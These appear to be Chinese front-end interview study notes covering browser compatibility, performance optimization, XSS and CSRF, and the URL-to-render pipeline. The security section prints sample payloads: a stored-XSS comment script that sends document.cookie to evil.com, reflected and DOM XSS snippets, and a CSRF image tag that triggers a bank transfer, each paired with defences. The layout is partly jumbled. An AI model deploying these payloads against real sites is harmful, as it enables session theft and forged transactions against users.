浏览器总结
# 浏览器兼容性问题
CSS Hack
CSS hack是通过在CSS样式中加入一些特殊的符号也就是浏览器前缀,让不同的浏览器识别不同的符号(什么样的浏览器识别什么样的符号是有标准的,CSS hack就是让你记住这个标准),以达到应用不同的CSS样式的目的。
主要是为了兼容IE低版本polyfill
polyfill 是一段代码(或者插件),提供了那些开发者们希望浏览器原生提供支持的功能。程序库先检查浏览器是否支持某个API,如果不支持则加载对应的 polyfill。比如,html5的storage。不同浏览器,不同版本,有些支持,有些不支持。
PostCSS
可以理解为CSS的
Babel工具,拥有强大的插件生态系统来分别做不同的任务.
上述都可以在webpack打包中配置使用.
# 浏览器优化
减少http请求次数:精灵图、base64格式、使用HTTP2、善用强缓存、协商缓存
减少传输时间:cdn、gizp压缩
减少渲染时间:减少回流(重排的次数)、开启服务端渲染
图片优化:懒加载、base64格式、使用webp格式图片
dom操作方面:尽量少操作、使用事件委托
js引擎方面:使用事件委托操作dom、使用web worker进行长时间脚本的运行
# 浏览器安全
跨站脚本攻击(XSS:Cross Site Script 为了与css区分)
解释:是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害用户的数据安全。
XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。存储型 XSS 攻击:攻击代码被 永久存储 在目标服务器(如数据库、日志、评论区)。每次有用户访问相关页面时,恶意脚本都会执行,危害最严重。
- 例子:数据库中存储了这段内容。任何访问该博客页面的用户都会加载评论,同时执行脚本。最终攻击者拿到大量用户的 cookie 或 session。
<!-- 一个博客系统的评论功能: --> <!-- 渲染评论时直接输出 --> <div class="comment">{{ content }}</div> <!-- 攻击者提交评论: --> <script>document.location='https://evil.com?c='+document.cookie</script>
- 例子:
反射型XSS攻击:攻击代码通过 URL 参数 或 请求内容 传入,服务器直接将参数内容反射到页面上,而没有进行安全过滤,恶意脚本在页面加载时立即执行
例子:
<!-- 网站有一个搜索功能,搜索结果页面直接把 q 参数输出: --> <!-- search.html --> <p>您搜索的关键词是:<span id="kw">{{ q }}</span></p> <!-- 攻击者构造一个恶意链接: --> <!-- https://example.com/search?q=<script>alert('XSS!')</script> --> <!-- 用户点击后,浏览器解析并执行: --> <p>您搜索的关键词是:<span id="kw"><script>alert('XSS!')</script></span></p>结果是用户立刻看到 alert('XSS!'),攻击成功。实际攻击中,攻击者可能会窃取用户的 cookie:
基于 DOM 的 XSS 攻击:不依赖服务器返回,而是在 前端 JS 中不安全地使用用户输入。攻击代码直接在浏览器端执行
- 例子:结果 innerHTML 会把脚本当作 HTML 渲染并执行。所以浏览器中立刻弹出 DOM XSS。 防范:
<!-- page.html --> <input type="text" id="kw"> <button onclick="search()">搜索</button> <div id="result"></div> <script> function search() { const kw = document.getElementById("kw").value; document.getElementById("result").innerHTML = "搜索:" + kw; } </script> <!-- 如果用户输入: --> <script>alert('DOM XSS')</script>
- 例子:
对用户的输入进行转义
开启HttpOnly:true、验证码机制,防止脚本冒充用户
Content-Security-Policy:响应头字段(csp内容安全策略,指定有效的域、即只执行哪些js脚本,来防止攻击)
跨站请求伪造(CSRF:Cross-site request forgery)
解释:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的
- 例子:
假设银行转账接口是:用户在 已登录银行网站 的情况下,访问了攻击者构造的页面:
POST https://bank.com/transfer Content-Type: application/x-www-form-urlencoded to=attacker&amount=1000浏览器会自动携带 银行的 Cookie,从而发起转账请求。<img src="https://bank.com/transfer?to=attacker&amount=1000">
防范:
- 请求来源认证,在HTTP请求头中有一个字段叫Referer,它记录了请求的来源地址。 服务器需要做的是验证这个来源地址是否合法,如果是来自一些不受信任的网站,则拒绝响应。
- token:使用
tocken来代替cookie - cookie字段设置
HttpOnly:true,恶意脚本则无法通过js脚本获取修改cookie - cookie字段设置sameSite: strict,cookie在跨站请求时不会被发送
- 例子:
假设银行转账接口是:
# 面试题
从输入URL到页面加载的全过程。
网络请求资源阶段
构建请求,查找强缓存(根据Expires、Cache-Control头)
DNS解析
从域名 -> IP地址的解析。如果域名已经被解析过,那么会查找缓存。具体的经历是
浏览器缓存 -> 本地hosts文件 -> 本地DNS解析器 -> 本地DNS服务器 -> 其他DNS服务器建立TCP连接
注意,Chrome在同一个域名下最多只能有6个TCP连接,超过则需等待。
- 通过三次握手建立客户端服务器的连接。
- 数据传输
- 断开连接,四次挥手
是否建立https连接
发送HTTP请求(数据传输还未开始)
携带请求行、请求头、请求体向服务器发送请求。
网络响应
网络响应也包含了三个部分:响应行、响应头和响应体。
当响应结束后判断
Connection字段,判断是否未keep-alive连接,若是则是建立的持久性连接.
浏览器解析渲染资源阶段
浏览器接收数据
一般响应头的
Content-Type的值是text/html,那么浏览器便开始进行解析和渲染工作构建dom树
将一系列的字节流转换为dom树的数据结构,本质上是一个以
document为根节点的多叉树.解析HTML(非上下文无关文法):标记化算法=>构建tokens样式计算
格式化样式表:stylesheets(因为浏览器看不懂css样式文本,所以将其转换成结构化的对象,可以通过document.styleSheets查看)标准化样式属性:比如rem->px,bold->700等等计算具体样式:比如继承的样式
构建
Layout Tree(布局树)遍历生成的 DOM 树节点,并把他们添加到
布局树中。- 计算布局树节点的坐标位置。
对于
head标签和设置了display: none;的元素并不会放入其中建图层树
浏览器在构建完
布局树之后,还会对特定的节点进行分层,构建图层树。一般情况下,节点的图层会默认属于父节点的图层,(这些图层也被称作合成层),而有的节点会提升成一个单独的合成层。
显示合成拥有层叠上下文的情况
HTML根元素普通元素设置了
z-index属性,且其position属性不为staticopacity属性值不为1设置了
transform属性设置了
filter属性设置了
will-change属性需要裁剪的地方
比如一个div,只有50x50大小,但是放置了很多的文字,那么就需要将超出的文字裁剪。
隐式合成
接下来是
隐式合成,简单来说就是层叠等级低的节点被提升为单独的图层之后,那么所有层叠等级比它高的节点都会成为一个单独的图层。所以若是嵌套的层级太深,就有可能发生层级大爆炸!当然单独的图层在重绘的时候只会影响本身。
绘制列表
接下来渲染引擎会将图层的绘制拆分成一个个绘制指令,比如先画背景、再描绘边框......然后将这些指令按顺序组合成一个待绘制列表,然后进行绘制。
生成图块最终显示
将图层分块并优先生成视口附近的图块,并交给显示器进行显示。